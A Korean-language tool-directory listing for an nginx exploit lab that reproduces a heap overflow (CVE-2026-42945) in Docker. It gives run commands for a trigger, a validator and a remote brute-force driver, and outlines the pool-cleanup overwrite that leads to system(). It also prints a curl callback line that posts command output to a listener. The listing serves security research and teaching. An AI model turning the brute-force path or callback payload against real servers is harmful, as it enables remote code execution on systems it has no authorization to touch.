Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-42945-nginx32-lab — CVE-2026-42945 nginx 32비트 익스플로잇 랩 ASLR 활성화 | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-42945-nginx32-lab
Vulnerability AnalysisExploitationWeb SecurityCTFPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubdinosn/cve-2026-42945-nginx32-lab

cve-2026-42945-nginx32-lab

CVE-2026-42945 nginx 32비트 익스플로잇 랩 ASLR 활성화

저장소 보기
2143개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42945 nginx 32비트 익스플로잇 랩

이 저장소는 nginx 1.30.0에서 CVE-2026-42945를 연구하기 위한 재현 가능한 Docker 실험실입니다. 취약한 32비트 타겟, 기본 트리거, 연구실 지원(known-address) RCE 검증기, 그리고 내부 조사(introspection) 없이 작동하는 브루트포스 드라이버를 포함합니다.

증명 경계는 다음과 같습니다:

  • exploit/trigger_oob.py는 힙 OOB 쓰기 프리미티브를 시연합니다.
  • exploit/lab_known_address.py는 Docker 내에서 RCE 메커니즘을 증명하지만, docker exec를 통해 /proc/<pid>/maps를 읽기 때문에 연구실 지원(lab-assisted) 방식입니다.
  • exploit/remote_bruteforce.py는 SSH, Docker, /proc, ptrace 또는 알려진 주소를 사용하지 않습니다. SAFE 힙 페이지 및 libc 페이지 후보를 무차별 대입(brute-force)하고, 아웃바운드 콜백을 유일한 성공 신호로 처리합니다.

원격 브루트포스 경로는 여전히 현재 nginx 마스터 ASLR 레이아웃에 의존합니다. 스프레이 주소가 요구되는 URI-안전 바이트 알파벳으로 표현될 수 없는 경우, nginx 마스터 프로세스가 재시작되거나 리로드되어 ASLR이 다시 설정될 때까지 전체 패스가 실패합니다. 알려진 주소 검증기와 마찬가지로, 전체 RCE 경로는 QEMU 에뮬레이션 Docker Desktop 타겟이 아닌 네이티브 x86 Linux Docker 호스트에서 실행되어야 합니다.

요구 사항

  • Docker Compose 지원.
  • Linux/386 컨테이너 지원.
  • 전체 알려진 주소 RCE 검증기를 사용하려면 /proc/<pid>/maps가 nginx 워커의 실제 32비트 주소 레이아웃을 노출하는 네이티브 x86 Linux Docker 호스트를 사용하세요. x86이 아닌 호스트의 Docker Desktop은 qemu-i386으로 타겟을 실행할 수 있습니다. 이는 OOB 충돌을 검증하기에는 충분하지만 알려진 주소 RCE 계산에는 충분하지 않습니다.
  • 익스플로잇 스크립트를 실행할 호스트의 Python 3.
  • 빠른 시작

    취약한 32비트 nginx 실험실을 빌드하고 시작합니다:

    root@kitploit:~
    docker compose up -d --build
    curl http://127.0.0.1:19331/
    

    제어된 OOB 쓰기를 트리거합니다:

    root@kitploit:~
    python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
    docker logs cve-2026-42945-nginx32 --tail 20
    

    확정적인 Docker 전용 RCE 검증기를 실행합니다:

    root@kitploit:~
    python3 exploit/lab_known_address.py --restart-until-safe
    

    내부 조사 없이 작동하는 브루트포스 드라이버를 실행합니다:

    root@kitploit:~
    python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
      --shuffle --seed 42945 \
      --attempt-delay 0.02 \
      --batch-size 5000 --batch-cooldown 10 \
      --progress-every 1000
    

    host.docker.internal은 콜백 호스트로 사용되어, nginx 워커에 내장된 명령이 익스플로잇 스크립트가 시작한 리스너로 id 출력을 POST할 수 있게 합니다. Compose 파일은 Linux Docker 엔진에 대해 이 이름을 매핑합니다.

    익스플로잇 워크스루

    1. 실험실 빌드 및 시작

    32비트 실험실 빌드 및 시작

    Compose 타겟은 nginx 1.30.0을 32비트 릴리스 스타일 바이너리로 빌드하고 127.0.0.1:19331에서 시작합니다. 단순한 GET /는 ok를 반환하여 익스플로잇 시작 전에 타겟에 접근 가능함을 증명합니다.

    2. OOB 쓰기 트리거

    취약한 재작성 경로 트리거

    트리거는 + 바이트로 구성된 캡처된 URI 세그먼트를 취약한 rewrite + set $myvar $1 경로를 통해 전송합니다. +는 NGX_ESCAPE_ARGS에 의해 이스케이프되므로, 복사 과정은 1바이트 입력당 3바이트를 씁니다. 스크립트는 요청을 보내기 전에 예상 오버플로우 크기를 출력합니다.

    3. 연구실 지원을 통한 RCE 검증

    Docker 전용 지원으로 RCE 메커니즘 검증

    알려진 주소 검증기는 의도적으로 지원을 받습니다. Docker 컨테이너에서 라이브 워커 힙 및 libc 매핑을 읽고, 가짜 정리(cleanup) 핸들러 주소를 계산하며, 동일한 와이어 수준 익스플로잇 시퀀스를 전송하고 콜백을 기다립니다. uid=65534(nobody) 출력은 nginx 워커가 id를 실행한 결과입니다. 이 스크린샷은 네이티브 x86 Docker 실행에서 가져온 것입니다. x86이 아닌 Docker Desktop 설정에서는 스크립트가 qemu-i386 네이티브 호스트 요구 사항과 함께 중단될 수 있습니다.

    4. 원격 전용 브루트포스 경로 실행

    내부 조사 없이 작동하는 브루트포스 경로 실행

    원격 브루트포스 스크립트는 연구실 전용 주소 읽기를 제거합니다. SAFE 힙 페이지 후보와 libc 페이지 후보를 열거하고 콜백만 성공 오라클로 사용합니다. 콜백 없이 패스를 소진한다고 해서 프리미티브가 반증되는 것은 아닙니다. 이는 일반적으로 현재 nginx 마스터 레이아웃이 이 페이로드 알파벳에 유리하지 않거나, 패스가 ASLR을 다시 설정하기 위해 마스터 재시작/리로드가 필요함을 의미합니다.

    RCE 시퀀스 작동 방식

    익스플로잇은 세 가지 동시 요청 역할을 사용합니다:

    1. /spray는 요청 본문 할당을 유지하고 가짜 ngx_pool_cleanup_t 레코드와 콜백 명령을 nginx 워커 힙 메모리에 배치합니다.
    2. /api/<payload>는 취약한 재작성 스크립트에 도달하고, 피해자 요청이 준비될 때까지 최종 요청 종결자를 지연시킵니다.
    3. /는 인접한 요청 풀(pool)을 생성하며, 제어된 OOB 쓰기가 해당 풀의 cleanup 포인터를 대상으로 합니다.

    손상된 요청 풀이 제거될 때, nginx는 덮어쓰여진 정리(cleanup) 포인터를 따릅니다. 연구실 RCE 경로에서 가짜 정리 핸들러는 system()을 가리키며, 데이터 포인터는 다음을 가리킵니다:

    root@kitploit:~
    id|curl -sm3 -d @- http://host.docker.internal:9876/rce
    

    익스플로잇 리스너는 해당 POST를 유일한 RCE 성공 신호로 처리합니다.

    정리

    root@kitploit:~
    docker compose down
    

    안전 주의사항

    이 실험실은 허가된 보안 검증 및 교육 목적으로만 사용하십시오. 격리된 환경에서 유지하고, 실험실 포트를 신뢰할 수 없는 네트워크에 노출하지 마십시오. 또한 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 익스플로잇을 실행하지 마십시오.

    도구 다운로드